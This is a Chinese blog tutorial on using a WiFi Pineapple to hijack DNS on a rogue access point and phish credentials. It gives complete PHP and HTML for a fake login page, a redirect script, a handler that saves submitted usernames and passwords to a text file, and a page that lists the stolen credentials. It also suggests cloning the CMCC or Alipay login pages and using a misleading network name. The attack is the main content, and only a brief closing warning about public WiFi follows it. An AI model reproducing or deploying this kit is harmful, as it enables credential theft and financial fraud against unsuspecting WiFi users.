Back

利用菠萝派进行DNS劫持

Luc|faer
Luc|faer 2016年08月15日

准备:

  • WiFi Pineapple Mark V 一个

  • 网线一根

  • Xftp:用于将文件拷贝到Pineapple中

  • Xshell:用于远程的路到Pineapple中

目的:

Pineapple的玩法在Pineapple论坛中早已经有很多大牛发过文章了,在这里分享的是用Pineapple来进行最简单的DNS劫持。

当然,因为没有找到合适的钓鱼页面,在这里就只是用一个比较low的钓鱼页面来进行演示了,重在分享这种玩法嘛。有兴趣的同学,也可以克隆CMCC或者支付宝的登录页面。

过程:

Pineapple基本情况:

首先我们先来配置一下Pineapple:

web UI登录地址:http://172.16.42.1:1471

用户名:root 密码:pineapplesareyummy

登录后要改一下密码,防止被人发现后,Pineapple不保......,默认的端口也可以修改。

登录以后我们可以看到Pineapple的UI界面:

2.png

我们利用的模块就是services栏目中得DNS Spoof功能。

进行DNS劫持:

利用Pineapple进行DNS劫持是很简单的,主要分为三步:

Step 1 DNS Spoof的配置

想要进行DNS劫持,需要对DNS Spoof进行设置:

  • 在Configuration模块中的DNS Spoof设置中,将Spoofhost Editor改为下图这样的形式:

3.png

这样做的目的是将用户(受害者)连接WiFi的所有流量重定向到172.16.42.1,也就是Pineapple的index.php页面(钓鱼页面):

4.png

  • 在DNS Spoof模块中的Redirect.php中写入重定向页面(在后面详细的叙述)。

5.png

  • 最后在主页面开启DNS Spoof即可

Step 2 钓鱼页面

进行DNS劫持所必须的三个文件:index.phpredirect.phperror.php

index.php (钓鱼页面)

<html>
    <head>
        <title>
            get password
        </title>
        <meta http-equiv="refresh" content="url=redirect.php">
    </head>
    <body>
        <form action='error.php' method="post">
            <div>
                用户名:
            </div>
            <div>
                <input type="text" name="name">
            </div>
            <div>
                密码:
            </div>
            <div>
                <input type="password" name="pass">
            </div>
            <div>
                <input type="submit" value="submit">
            </div>
        </form>
    </body>
</html>

很简单的页面,但是有两个注意点:

  • <meta http-equiv="refresh" content="url=redirect.php">

    在请求index.php时,会首先跳转到redirect.php页面,进行页面的重定向。

  • <form action='error.php' method="post">

    将表单中提交的数据传送到error.php中进行劫持。

redirect.php (页面的重定向)

<?php
    $url_protocol = $_SERVER['SERVER_PROTOCOL'];
    $url_type = (substr($http_ip, 5) != 'HTTPS') ? "http://" : "https://";
    $ref = $url_type.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    if (strpos($ref, 'com'))
    {
        header('Status: 302 Found');
        header('Location: ./index.php');
    }
    require('./error.php');
?>

error.php (对传入的数据进行劫持)

<html>
        <head>
                <script type = "text/javascript">
                        function redirecturl()
                        {
                                window.location.href = "wall.php";
                        }
                </script>
        </head>
        <body onload = "redirecturl()">
        </body>
</html>
<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
if (isset($_POST['name']) && !empty($_POST['name'])) {
        $nam = stripslashes($_POST['name']);
        $pas = stripslashes($_POST['pass']);
        $nam = htmlspecialchars($nam, ENT_QUOTES);
        $pas = htmlspecialchars($pas, ENT_QUOTES);

        $content = $today . "  --  " . $ref . "  --  " . $nam . "  --  " . $pas;

        $filed = @fopen("./message.txt", "a+");
        @fwrite($filed, "$content \r\n");
        @fclose($filed);
}
?>

这里我把劫持到的数据保存到了当前目录的message.txt中,为了方便展示,将数据在wall.php中进行了输出:

wall.php (输出劫持到的数据)

<html>
    <head>
        <title>You have been hacked!</title>
        <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
    </head>
    <body>
        <center>绵羊墙</center>
        <?php
            $message_file = fopen("./message.txt", "r");
            while(!feof($message_file))
            {
                $message_read = fgets($message_file);
                echo $message_read;
                echo "<br />";
            }
            fclose($message_file);
        ?>
    </body>
</html>

Step 3 等待上钩

等设置完上面的东西后,给你的WiFi设置一个误导性较强的名字,等待别人上钩。

这里我用自己的手机来模仿别人连上该伪造的WiFi:

6.png

7.png

后记:

现在大部分人对于免费WiFi有一定的警惕性,但是如果攻击者把钓鱼页面换成类似于机场WiFi这种移动的热点,大家就会放松警惕。如果在Pineapple上加载一个4G的网卡,就可以实现对于用户的流量劫持,在你利用WiFi购物时,可能支付宝密码就会被攻击者劫持,造成不可想象的后果。所以慎用公共场所的WiFi,在执行敏感操作时,还是切换用gprs流量吧。

世界上没有免费的午餐,希望多多提高自己的警惕吧。

Submit